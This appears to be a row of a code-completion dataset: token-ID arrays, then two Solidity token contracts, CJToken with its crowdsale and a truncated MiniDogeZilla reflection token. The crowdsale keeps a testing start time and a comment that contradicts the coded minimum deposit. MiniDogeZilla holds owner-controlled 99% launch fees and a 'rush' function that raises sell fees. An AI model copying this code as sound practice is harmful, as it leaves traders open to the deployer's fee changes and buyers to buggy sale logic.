0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
282,
202,
915,
598,
9446,
10556,
52,
2012,
12,
11890,
28,
293,
2012,
548,
13,
1338,
5541,
293,
2012,
4786,
12,
84,
2012,
548,
13,
1071,
288,
203,
21114,
202,
6528,
12,
291,
52,
2012,
10556,
12,
84,
2012,
548,
10019,
203,
21114,
202,
52,
2012,
921,
2502,
293,
2012,
273,
293,
2012,
4710,
63,
84,
2012,
548,
15533,
203,
21114,
202,
11890,
5034,
598,
9446,
6275,
273,
293,
2012,
18,
4963,
3218,
77,
300,
293,
2012,
18,
4963,
3218,
77,
9148,
329,
31,
203,
21114,
202,
6528,
12,
1918,
9446,
6275,
405,
374,
1769,
203,
21114,
202,
84,
2012,
18,
4963,
3218,
77,
9148,
329,
1011,
598,
9446,
6275,
31,
203,
203,
21114,
202,
11231,
12,
8443,
18,
4661,
12,
1918,
9446,
6275,
10019,
203,
282,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//ERC20 Token
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract CJToken is BurnableToken, Ownable {
string public constant name = "ConnectJob";
string public constant symbol = "CJT";
uint public constant decimals = 18;
uint256 public constant initialSupply = 300000000 * (10 ** uint256(decimals));
// Constructor
function CJToken() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// address where funds are collected
address public multisigVault;
CJToken public coin;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// amount of raised money in wei
uint256 public weiRaised;
// amount of tokens sold
uint256 public tokensSold;
// max amount of token for sale during ICO
uint256 public maxCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(address _CJTokenAddress, address _to, uint256 _maxCap) {
coin = CJToken(_CJTokenAddress);
multisigVault = _to;
maxCap = _maxCap;
// startTime = 1518651000; // new Date("Feb 14 2018 23:30:00 GMT").getTime() / 1000;
startTime = now; // for testing we use now
endTime = startTime + 75 days; // ICO end on Apr 30 2018 00:00:00 GMT
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// allow owner to modify address of wallet
function setMultiSigVault(address _multisigVault) public onlyOwner {
require(_multisigVault != address(0));
multisigVault = _multisigVault;
}
// compute amount of token based on 1 ETH = 2400 CJT
function getTokenAmount(uint256 _weiAmount) internal returns(uint256) {
// minimum deposit amount is 0.4 ETH
if (_weiAmount < 0.001 * (10 ** 18)) {
return 0;
}
uint256 tokens = _weiAmount.mul(2400);
// compute bonus
if(now < startTime + 7 * 1 days) {
tokens += (tokens * 12) / 100; // 12% for first week
} else if(now < startTime + 14 * 1 days) {
tokens += (tokens * 9) / 100; // 9% for second week
} else if(now < startTime + 21 * 1 days) {
tokens += (tokens * 6) / 100; // 6% for third week
} else if(now < startTime + 28 * 1 days) {
tokens += (tokens * 3) / 100; // 3% for fourth week
}
return tokens;
}
// low level token purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(msg.value != 0);
require(!hasEnded());
require(now > startTime);
uint256 weiAmount = msg.value;
uint256 refundWeiAmount = 0;
// calculate token amount to be sent
uint256 tokens = getTokenAmount(weiAmount);
require(tokens > 0);
// check if we are over maxCap
if (tokensSold + tokens > maxCap) {
// send remaining tokens to user
uint256 overSoldTokens = (tokensSold + tokens) - maxCap;
refundWeiAmount = weiAmount * overSoldTokens / tokens;
weiAmount = weiAmount - refundWeiAmount;
tokens = tokens - overSoldTokens;
}
// update state
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
coin.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
multisigVault.transfer(weiAmount);
// return extra ether to last user
if (refundWeiAmount > 0) {
beneficiary.transfer(refundWeiAmount);
}
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime || tokensSold >= maxCap;
}
// Finalize crowdsale buy burning the remaining tokens
// can only be called when the ICO is over
function finalizeCrowdsale() {
require(hasEnded());
require(coin.balanceOf(this) > 0);
coin.burn(coin.balanceOf(this));
}
}
|
* event for token purchase logging @param purchaser who paid for the tokens @param beneficiary who got the tokens @param value weis paid for purchase @param amount of tokens purchased/ startTime = 1518651000; new Date("Feb 14 2018 23:30:00 GMT").getTime() / 1000;
|
function Crowdsale(address _CJTokenAddress, address _to, uint256 _maxCap) {
coin = CJToken(_CJTokenAddress);
multisigVault = _to;
maxCap = _maxCap;
}
| 5,350,026 |
[
1,
2575,
364,
1147,
23701,
2907,
225,
5405,
343,
14558,
10354,
30591,
364,
326,
2430,
225,
27641,
74,
14463,
814,
10354,
2363,
326,
2430,
225,
460,
732,
291,
30591,
364,
23701,
225,
3844,
434,
2430,
5405,
343,
8905,
19,
8657,
273,
4711,
2643,
9222,
18088,
31,
225,
394,
2167,
2932,
2954,
70,
5045,
14863,
10213,
30,
5082,
30,
713,
21706,
20387,
588,
950,
1435,
342,
4336,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
385,
492,
2377,
5349,
12,
2867,
389,
39,
46,
1345,
1887,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1896,
4664,
13,
288,
203,
3639,
13170,
273,
385,
46,
1345,
24899,
39,
46,
1345,
1887,
1769,
203,
3639,
22945,
360,
12003,
273,
389,
869,
31,
203,
3639,
943,
4664,
273,
389,
1896,
4664,
31,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
MiniDogeZilla, * Ever-burning MiniDoge Godzilla *
3% Reflections
2% Liquidity
4% Marketing
Telegram:
https://t.me/Minidogezilla
Website:
https://www.minidogezilla.finance/
Twitter:
https://twitter.com/minidogezilla
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Authorized{
address private _owner;
address private _previousOwner;
mapping (address => bool) _authorized;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
_authorized[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
modifier onlyAuthorized {
require(_authorized[msg.sender], "Authorization: caller is not the authorized");
_;
}
function manageAuthorization(address account, bool authorize) public onlyOwner {
_authorized[account] = authorize;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MiniDogeZilla is IERC20, Authorized {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) public automatedMarketMakerPairs;
string private _name = "MiniDogeZilla";
string private _symbol = "MDZ";
uint8 private _decimals = 9 ;
uint256 private DECIMALS = 10 ** _decimals;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 69000000000000000000000 * DECIMALS; // 69e21 tokens, total supply
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 public _marketingFee = 4;
uint256 private _totalLPFee = 6;
uint256 private _previousTotalLPFee = _totalLPFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public deadAddress = address(0x000000000000000000000000000000000000dEaD);
address public marketingAddress;
uint256 public swapTokensAtAmount = 2 * _tTotal / 1000; // 0.2% of total supply, 138e18 tokens
uint256 public maxTx = 5 * _tTotal / 1000; // 0.5% of total supply, 345e18 tokens
uint256 public maxWallet = 20 * _tTotal / 1000; // 2.0% of total supply, 1380e18 tokens
uint256 private nAntiBotBlocks;
uint256 private launchBlock;
bool public tradingIsEnabled = false;
bool public antiBotActive = false;
bool private swapping = false;
bool private inBurn = false;
bool private accumulatingForBurn = false;
uint256 burnAmount = 0;
bool intensify = false;
uint256 intensifyDuration = 0;
uint256 intensifyStart = 0;
event Launch(uint256 indexed nAntiBotBlocks);
event SetFees(uint256 indexed liquidityFee, uint256 indexed marketingFee, uint256 indexed totalFee);
event SetTradeRestrictions(uint256 indexed maxTx, uint256 indexed maxWallet);
event SetSwapTokensAtAmount(uint256 indexed swapTokensAtAmount);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor () {
_rOwned[msg.sender] = _rTotal;
marketingAddress = msg.sender;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
automatedMarketMakerPairs[uniswapV2Pair] = true;
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[deadAddress] = true;
excludeFromReward(deadAddress);
emit Transfer(address(0), msg.sender, _tTotal);
}
modifier inSwap{
swapping = true;
_;
swapping = false;
}
modifier inburn{
inBurn = true;
_;
inBurn = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(_allowances[msg.sender][spender] >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount, sender);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount, address from) private returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, from);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, address from) private returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount, from);
uint256 tLiquidity = calculateLiquidityFee(tAmount, from);
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
}
function rush(uint256 _minutes) external onlyAuthorized {
require(_minutes <= 4 * 60, "Rush may not last over four hours.");
intensify = true;
intensifyDuration = _minutes * 1 minutes;
intensifyStart = block.timestamp;
}
function calculateTaxFee(uint256 _amount, address from) private returns (uint256) {
if (_taxFee == 0 && _totalLPFee == 0){
return 0;
}
uint256 fee = 0;
if(intensify){
uint256 halfTime = intensifyStart + intensifyDuration / 2;
uint256 fullTime = intensifyStart + intensifyDuration;
if(block.timestamp < halfTime){
fee = automatedMarketMakerPairs[from] ? 0 : 10;
}
else if(block.timestamp < fullTime){
fee = automatedMarketMakerPairs[from] ? 2 : 5;
}
else{
fee = _taxFee;
intensify = false;
}
}
else{
fee = _taxFee;
}
return _amount * fee / 10**2;
}
function calculateLiquidityFee(uint256 _amount, address from) private returns (uint256) {
if (_taxFee == 0 && _totalLPFee == 0){
return 0;
}
uint256 fee = 0;
if(intensify){
uint256 halfTime = intensifyStart + intensifyDuration / 2;
uint256 fullTime = intensifyStart + intensifyDuration;
if(block.timestamp < halfTime){
fee = automatedMarketMakerPairs[from] ? 0 : 10;
}
else if(block.timestamp < fullTime){
fee = automatedMarketMakerPairs[from] ? 3 : 10;
}
else{
fee = _totalLPFee;
intensify = false;
}
}
else{
fee = _totalLPFee;
}
return _amount * fee / 10**2;
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousTotalLPFee = _totalLPFee;
_taxFee = 0;
_totalLPFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_totalLPFee = _previousTotalLPFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "MiniDogeZilla: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function launch(uint256 _nAntiBotBlocks) public onlyOwner{
require(!tradingIsEnabled, "Project already launched.");
nAntiBotBlocks = _nAntiBotBlocks;
launchBlock = block.number;
tradingIsEnabled = true;
antiBotActive = true;
emit Launch(nAntiBotBlocks);
}
function setFees(uint256 marketingFee, uint256 liquidityFee, uint256 taxFee) public onlyOwner{
require(0 <= taxFee && taxFee <= 6, "Requested tax fee out of acceptable range.");
require(0 <= liquidityFee && liquidityFee <= 6 , "Requested liquidity fee out of acceptable range.");
require(0 <= marketingFee && marketingFee <= 6, "Requested marketing fee out of acceptable range.");
require(0 < marketingFee + liquidityFee, "Total liquidity fee amount must be strictly positive.");
_taxFee = taxFee;
_liquidityFee = liquidityFee;
_marketingFee = marketingFee;
_totalLPFee = _liquidityFee + _marketingFee;
emit SetFees(_liquidityFee, _marketingFee, _taxFee);
}
function setTradeRestrictions(uint256 _maxTx, uint256 _maxWallet) public onlyOwner{
require(_maxTx * DECIMALS >= (5 * _tTotal / 1000), "Requested max transaction amount too low.");
require(_maxWallet * DECIMALS >= (20 * _tTotal / 1000), "Requested max allowable wallet amount too low.");
maxTx = _maxTx * DECIMALS;
maxWallet = _maxWallet * DECIMALS;
emit SetTradeRestrictions(maxTx, maxWallet);
}
function setSwapTokensAtAmount(uint256 _swapTokensAtAmount) public onlyOwner{
require(_tTotal / 1000 <= _swapTokensAtAmount * DECIMALS && _swapTokensAtAmount * DECIMALS <= 2 * _tTotal / 100,
"Requested contract swap amount out of acceptable range.");
swapTokensAtAmount = _swapTokensAtAmount * DECIMALS;
emit SetSwapTokensAtAmount(swapTokensAtAmount);
}
function checkValidTrade(address from, address to, uint256 amount) private view{
if (from != owner() && to != owner() && to != deadAddress) {
require(tradingIsEnabled, "Project has yet to launch.");
require(amount <= maxTx, "Transfer amount exceeds the max allowable.");
if (automatedMarketMakerPairs[from]){
require(balanceOf(address(to)) + amount <= maxWallet,
"Token purchase implies violation of max allowable wallet amount restriction.");
}
}
}
function _transfer(address from, address to, uint256 amount) private {
if(amount == 0) {
return;
}
checkValidTrade(from, to, amount);
bool takeFee = tradingIsEnabled && !swapping;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
if(takeFee && antiBotActive) {
uint256 fees;
if(block.number < launchBlock + nAntiBotBlocks){
fees = amount * 99 / 100;
amount = amount - fees;
takeFee = false;
_tokenTransfer(from, address(this), fees, takeFee);
}
else{
antiBotActive = false;
}
}
if(accumulatingForBurn){
if(shouldBurn()){
